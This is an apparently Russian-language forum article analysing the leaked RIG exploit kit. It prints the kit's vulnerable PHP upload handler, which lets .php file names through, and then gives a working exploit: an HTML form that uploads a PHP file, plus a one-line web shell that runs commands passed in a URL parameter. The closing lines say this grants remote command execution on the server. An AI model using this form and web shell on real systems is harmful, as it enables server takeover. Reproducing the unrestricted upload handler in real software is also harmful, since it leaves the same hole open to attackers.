Статья RIG Exploit Kit - уязвимость при загрузке файлов

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RIG Exploit Kit - уязвимость при загрузке файлов​

Привет!

Несколько недель назад произошла утечка эксплойт-кита RIG, и я сразу же его проанализировал.

Оказалось, я публикую информацию об одной обнаруженной мной уязвимости в файле /ad/php/upload.php.

Исходный код файла:

<?php
/**
* upload.php
*
* Copyright 2009, Moxiecode Systems AB
* Released under GPL License.
*
* License: http://www.plupload.com/license
* Contributing: http://www.plupload.com/contributing
*/

// HTTP headers for no cache etc
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");

// Settings
//$targetDir = ini_get("upload_tmp_dir") . DIRECTORY_SEPARATOR . "plupload";
$targetDir = 'uploads/';

//$cleanupTargetDir = false; // Remove old files
//$maxFileAge = 60 * 60; // Temp file age in seconds

// 5 minutes execution time
@set_time_limit(5 * 60);

// Uncomment this one to fake upload time
// usleep(5000);

// Get parameters
$chunk = isset($_REQUEST["chunk"]) ? $_REQUEST["chunk"] : 0;
$chunks = isset($_REQUEST["chunks"]) ? $_REQUEST["chunks"] : 0;
$fileName = isset($_REQUEST["name"]) ? $_REQUEST["name"] : '';

// Clean the fileName for security reasons
$fileName = preg_replace('/[^\w\._]+/', '', $fileName);

// Make sure the fileName is unique but only if chunking is disabled
if ($chunks < 2 && file_exists($targetDir . DIRECTORY_SEPARATOR . $fileName)) {
$ext = strrpos($fileName, '.');
$fileName_a = substr($fileName, 0, $ext);
$fileName_b = substr($fileName, $ext);

$count = 1;
while (file_exists($targetDir . DIRECTORY_SEPARATOR . $fileName_a . '_' . $count . $fileName_b))
 $count++;

$fileName = $fileName_a . '_' . $count . $fileName_b;
}

// Create target dir
if (!file_exists($targetDir))
@mkdir($targetDir);

// Remove old temp files
/* this doesn't really work by now

if (is_dir($targetDir) && ($dir = opendir($targetDir))) {
while (($file = readdir($dir)) !== false) {
 $filePath = $targetDir . DIRECTORY_SEPARATOR . $file;

 // Remove temp files if they are older than the max age
 if (preg_match('/\\.tmp$/', $file) && (filemtime($filePath) < time() - $maxFileAge))
     @unlink($filePath);
}

closedir($dir);
} else
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
*/

// Look for the content type header
if (isset($_SERVER["HTTP_CONTENT_TYPE"]))
$contentType = $_SERVER["HTTP_CONTENT_TYPE"];

if (isset($_SERVER["CONTENT_TYPE"]))
$contentType = $_SERVER["CONTENT_TYPE"];

// Handle non multipart uploads older WebKit versions didn't support multipart in HTML5
if (strpos($contentType, "multipart") !== false) {
if (isset($_FILES['file']['tmp_name']) && is_uploaded_file($_FILES['file']['tmp_name'])) {
 // Open temp file
 $out = fopen($targetDir . DIRECTORY_SEPARATOR . $fileName, $chunk == 0 ? "wb" : "ab");
 if ($out) {
     // Read binary input stream and append it to temp file
     $in = fopen($_FILES['file']['tmp_name'], "rb");

     if ($in) {
   while ($buff = fread($in, 4096))
       fwrite($out, $buff);
     } else
   die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}');
     fclose($in);
     fclose($out);
     @unlink($_FILES['file']['tmp_name']);
 } else
     die('{"jsonrpc" : "2.0", "error" : {"code": 102, "message": "Failed to open output stream."}, "id" : "id"}');
} else
 die('{"jsonrpc" : "2.0", "error" : {"code": 103, "message": "Failed to move uploaded file."}, "id" : "id"}');
} else {
// Open temp file
$out = fopen($targetDir . DIRECTORY_SEPARATOR . $fileName, $chunk == 0 ? "wb" : "ab");
if ($out) {
 // Read binary input stream and append it to temp file
 $in = fopen("php://input", "rb");

 if ($in) {
     while ($buff = fread($in, 4096))
   fwrite($out, $buff);
 } else
     die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}');

 fclose($in);
 fclose($out);
} else
 die('{"jsonrpc" : "2.0", "error" : {"code": 102, "message": "Failed to open output stream."}, "id" : "id"}');
}

// Return JSON-RPC response
die('{"jsonrpc" : "2.0", "result" : null, "id" : "id"}');

?>

Exploit:

<form action="http://x.x.x.x/ad/php/upload.php" enctype="multipart/form-data" method="POST">
<input type="text" name="name" value="test.php">
<input type="text" name="chunk" value="0">
<input type="text" name="chunks" value="10">
<input type="file" name="file "value="">
<input type="submit" value="Send">
</form>

А вот и файл командной оболочки:

<?php
system($_GET['c']);
?>

Используя этот эксплойт, вы сможете загрузить командную оболочку на сервер в каталог uploads/ и получить доступ к удаленному выполнению команд на сервере.